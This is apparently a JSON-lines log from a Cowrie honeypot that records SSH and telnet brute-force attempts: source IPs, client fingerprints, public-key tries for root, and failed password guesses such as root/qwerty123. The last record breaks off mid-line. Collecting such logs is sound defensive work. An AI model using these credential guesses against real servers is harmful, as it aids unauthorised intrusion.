{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:58.655418Z","src_ip":"45.156.87.204","session":"0cf15e0e1ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:53:59.740673Z","src_ip":"45.156.87.204","session":"0cf15e0e1ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57054,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b12da4a7d2","protocol":"ssh","message":"New connection: 45.156.87.204:57054 (159.203.135.109:22) [session: 09b12da4a7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:02.023412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:02.046626Z","src_ip":"45.156.87.204","session":"09b12da4a7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:02.115367Z","src_ip":"45.156.87.204","session":"09b12da4a7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:02.445507Z","src_ip":"45.156.87.204","session":"09b12da4a7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.9.45.29","src_port":6854,"dst_ip":"10.17.0.5","dst_port":22,"session":"550a230cdb0c","protocol":"ssh","message":"New connection: 176.9.45.29:6854 (10.17.0.5:22) [session: 550a230cdb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.131664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.140664Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.241678Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.532307Z","src_ip":"45.156.87.204","session":"09b12da4a7d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:78:88:a4:66:c7:3a:30:63:20:34:5c:a5:c7:e6:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHOSXXbkOubMp48B50fqB+QuAD1aHBod2wIT1P2JSyiTPD9Tfh1tr9V9CvEE7QgLkrji/jvQBFQgEUhwgtUWUfGYy8FEcgzgumwdjWFIbxMnhelmWuIMEvJoQtQZuZg7vJovKEnHp+Ihpatt70J9SQ0uGgBgVdnK9o+dgJWO/UeDnr5XdEf47TW7UxLxzinEmJkslyYcZZl0cNNZMw4rNcxaMm9Am/XPgR97ea7bK/AQEIDjTwPSqUF/jQX2wcHzHSOfQarffL+krVKNvtnLC+2tRw3zXyxE3KMIdplC/RspgVPcxSaEA0G7XjJRQyn5ATcM8k/qpaY1OyoUHjutNv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:78:88:a4:66:c7:3a:30:63:20:34:5c:a5:c7:e6:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.705488Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:78:88:a4:66:c7:3a:30:63:20:34:5c:a5:c7:e6:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHOSXXbkOubMp48B50fqB+QuAD1aHBod2wIT1P2JSyiTPD9Tfh1tr9V9CvEE7QgLkrji/jvQBFQgEUhwgtUWUfGYy8FEcgzgumwdjWFIbxMnhelmWuIMEvJoQtQZuZg7vJovKEnHp+Ihpatt70J9SQ0uGgBgVdnK9o+dgJWO/UeDnr5XdEf47TW7UxLxzinEmJkslyYcZZl0cNNZMw4rNcxaMm9Am/XPgR97ea7bK/AQEIDjTwPSqUF/jQX2wcHzHSOfQarffL+krVKNvtnLC+2tRw3zXyxE3KMIdplC/RspgVPcxSaEA0G7XjJRQyn5ATcM8k/qpaY1OyoUHjutNv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.709835Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:99:c0:c1:7c:bf:0d:61:dc:97:fb:99:bc:a9:60:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4+Tv3i382+XIJfk9TrA3z2cbBGL060P5MjjFmAxB4LoQyVaRli7rwX6XtdQvyrGJTnnocG9TOvLh+Q7JqtuvDG5pW8Noi2XHeDzpdlNfhNz7v+dggCgwH0pIzTGAqGnbMDuGEAlP+wAbw6UZlR5yYtFeRgA3zwENKt6YWlY7hhSEdbG+ovUgTzV0pIEXWwCiKc1SrS7Ye/3aSztvUERNRW03js3Ai50ZRiv3jzRbMN0zF1+pug1v9gbKeVRE85HuX0liunD+ye5geg7ZSG8+dA/sZUg1L6rU79apGUqbUqvl/+3BErngdC0dP/YF5PyL+t8fBdFWOnG6eurd5H0Tz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:99:c0:c1:7c:bf:0d:61:dc:97:fb:99:bc:a9:60:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.808261Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:99:c0:c1:7c:bf:0d:61:dc:97:fb:99:bc:a9:60:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4+Tv3i382+XIJfk9TrA3z2cbBGL060P5MjjFmAxB4LoQyVaRli7rwX6XtdQvyrGJTnnocG9TOvLh+Q7JqtuvDG5pW8Noi2XHeDzpdlNfhNz7v+dggCgwH0pIzTGAqGnbMDuGEAlP+wAbw6UZlR5yYtFeRgA3zwENKt6YWlY7hhSEdbG+ovUgTzV0pIEXWwCiKc1SrS7Ye/3aSztvUERNRW03js3Ai50ZRiv3jzRbMN0zF1+pug1v9gbKeVRE85HuX0liunD+ye5geg7ZSG8+dA/sZUg1L6rU79apGUqbUqvl/+3BErngdC0dP/YF5PyL+t8fBdFWOnG6eurd5H0Tz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.812418Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:ad:6d:7d:22:91:72:02:f6:5e:b9:e9:e2:08:35:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPVBFyd83LKjxgb9OfGMJiDovf9L9tGxTkv0McyAck22J0Ewmq8ow7uDP/H3VpGeKmHE5r1qjdIZA4apiu8JJoLcQthSLHA2isAwHvitQpxfUy3b2JDwQF8B9okrbzZ8hhMRkqPAcFJhQmWK1k0bid3TLDzKuX5Dt2YrN+3gLsF9FJDhOxoa3UOC7CgKzuRsbf3zIri2ndfIT+7dlbGDcowG08BKwbKgx0AKkaVkqukhzwl1aezoyrZCkMRiImjhpPg5/3nn+ny8JqTvLxlSOMjwNN7/qKcjuPCPjF4ZNTo138Dfxpubv6DrRyEEdtUVn5q9POhwZPs3ZdkixjUs/T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:ad:6d:7d:22:91:72:02:f6:5e:b9:e9:e2:08:35:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.910841Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:ad:6d:7d:22:91:72:02:f6:5e:b9:e9:e2:08:35:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPVBFyd83LKjxgb9OfGMJiDovf9L9tGxTkv0McyAck22J0Ewmq8ow7uDP/H3VpGeKmHE5r1qjdIZA4apiu8JJoLcQthSLHA2isAwHvitQpxfUy3b2JDwQF8B9okrbzZ8hhMRkqPAcFJhQmWK1k0bid3TLDzKuX5Dt2YrN+3gLsF9FJDhOxoa3UOC7CgKzuRsbf3zIri2ndfIT+7dlbGDcowG08BKwbKgx0AKkaVkqukhzwl1aezoyrZCkMRiImjhpPg5/3nn+ny8JqTvLxlSOMjwNN7/qKcjuPCPjF4ZNTo138Dfxpubv6DrRyEEdtUVn5q9POhwZPs3ZdkixjUs/T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:03.914713Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:70:88:e7:81:a8:e2:5e:9b:c7:40:cd:9e:9c:a4:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAmscyFGwRVXpRnvjp5dQzddxWj1KvLce/JXUVloRCW+SBeMuE2lWmVnagAy0Uyf7t95nsMulF/jmA/hlTTrv07sUsEDEbzYjTDYXN3EwqZQLT/LUCwzDqX3QBIeoNOb71nkTbkNQknKPdSNwayXaDD4pRuag+j9XME+9ajQoxEV+MYX4QAVO5ok4t0w+N2r7o4FsZ4qTGDXIHspcrB3qk9HtQnu6yoJiV0HsE8Uk+11aTlS7PfVRu8xLG59gdHlY+sp2p/xoG6wC06TIcUuhi4x0v2VPFkt/MZ/7KjQiNBKrOHn46HWElpi9fD6LKGRToSurF3SDh7v0Hhj4tI7aPQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:70:88:e7:81:a8:e2:5e:9b:c7:40:cd:9e:9c:a4:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:04.015503Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:70:88:e7:81:a8:e2:5e:9b:c7:40:cd:9e:9c:a4:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAmscyFGwRVXpRnvjp5dQzddxWj1KvLce/JXUVloRCW+SBeMuE2lWmVnagAy0Uyf7t95nsMulF/jmA/hlTTrv07sUsEDEbzYjTDYXN3EwqZQLT/LUCwzDqX3QBIeoNOb71nkTbkNQknKPdSNwayXaDD4pRuag+j9XME+9ajQoxEV+MYX4QAVO5ok4t0w+N2r7o4FsZ4qTGDXIHspcrB3qk9HtQnu6yoJiV0HsE8Uk+11aTlS7PfVRu8xLG59gdHlY+sp2p/xoG6wC06TIcUuhi4x0v2VPFkt/MZ/7KjQiNBKrOHn46HWElpi9fD6LKGRToSurF3SDh7v0Hhj4tI7aPQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:04.019883Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.236340284347534,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:04.047582Z","src_ip":"152.42.224.71","session":"9e3a3b6ae9c9","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:e2:39:42:2a:99:26:55:85:3e:0d:25:a0:0f:7e:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH66tOvg+qunJ6d+qKz1Zgx6f+qsMpHf/asgxFrpeAbhk91pQQQfCBQ+JtLK3MpmYpkaO1uy+5CrEXr/EQznETa7/pkXHNU4i/bmKMVaLntzzNEITJM6IyU7JBmrKF5RuQ6v86701OuVGz5r9fc9AlPHyOwkVnP2qaV/Q8TIuJjIGYKzJMeVE8Q8+g7EOkSKhythKfuhy5Is1bkmF3KsA+48GbSJcLLWtOhxSqTFDldSlAPiMBiGntpr901EklJNwPP50rAzx3olT6qW337ZuwnHgY2ePHl5GAZmv4BCdSU4l6ABZTgJRBzfLASf8AOVkC+PgY7c4YB97QCQX53wQz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:e2:39:42:2a:99:26:55:85:3e:0d:25:a0:0f:7e:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:04.117890Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:e2:39:42:2a:99:26:55:85:3e:0d:25:a0:0f:7e:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH66tOvg+qunJ6d+qKz1Zgx6f+qsMpHf/asgxFrpeAbhk91pQQQfCBQ+JtLK3MpmYpkaO1uy+5CrEXr/EQznETa7/pkXHNU4i/bmKMVaLntzzNEITJM6IyU7JBmrKF5RuQ6v86701OuVGz5r9fc9AlPHyOwkVnP2qaV/Q8TIuJjIGYKzJMeVE8Q8+g7EOkSKhythKfuhy5Is1bkmF3KsA+48GbSJcLLWtOhxSqTFDldSlAPiMBiGntpr901EklJNwPP50rAzx3olT6qW337ZuwnHgY2ePHl5GAZmv4BCdSU4l6ABZTgJRBzfLASf8AOVkC+PgY7c4YB97QCQX53wQz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:04.121910Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:04.220037Z","src_ip":"176.9.45.29","session":"550a230cdb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":50036,"dst_ip":"159.203.135.109","dst_port":22,"session":"615902f8bbdb","protocol":"ssh","message":"New connection: 83.111.76.195:50036 (159.203.135.109:22) [session: 615902f8bbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.365978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.370994Z","src_ip":"83.111.76.195","session":"615902f8bbdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.569420Z","src_ip":"83.111.76.195","session":"615902f8bbdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35808,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13ae802fcaf","protocol":"ssh","message":"New connection: 45.156.87.204:35808 (159.203.135.109:22) [session: b13ae802fcaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.576937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.585053Z","src_ip":"45.156.87.204","session":"b13ae802fcaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.92678213119507,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.602887Z","src_ip":"152.42.224.71","session":"febac474ad6f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.667382Z","src_ip":"45.156.87.204","session":"b13ae802fcaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:05.917464Z","src_ip":"45.156.87.204","session":"b13ae802fcaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@1234","message":"login attempt [root/Cloud@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:06.395264Z","src_ip":"83.111.76.195","session":"615902f8bbdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:07.007391Z","src_ip":"45.156.87.204","session":"b13ae802fcaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57714,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb00cd74635","protocol":"telnet","message":"New connection: 152.42.224.71:57714 (10.17.0.5:23) [session: 0eb00cd74635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:07.448969Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:07.595959Z","src_ip":"83.111.76.195","session":"615902f8bbdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35822,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5a65b2412dc","protocol":"ssh","message":"New connection: 45.156.87.204:35822 (159.203.135.109:22) [session: b5a65b2412dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:09.059351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:09.064291Z","src_ip":"45.156.87.204","session":"b5a65b2412dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-c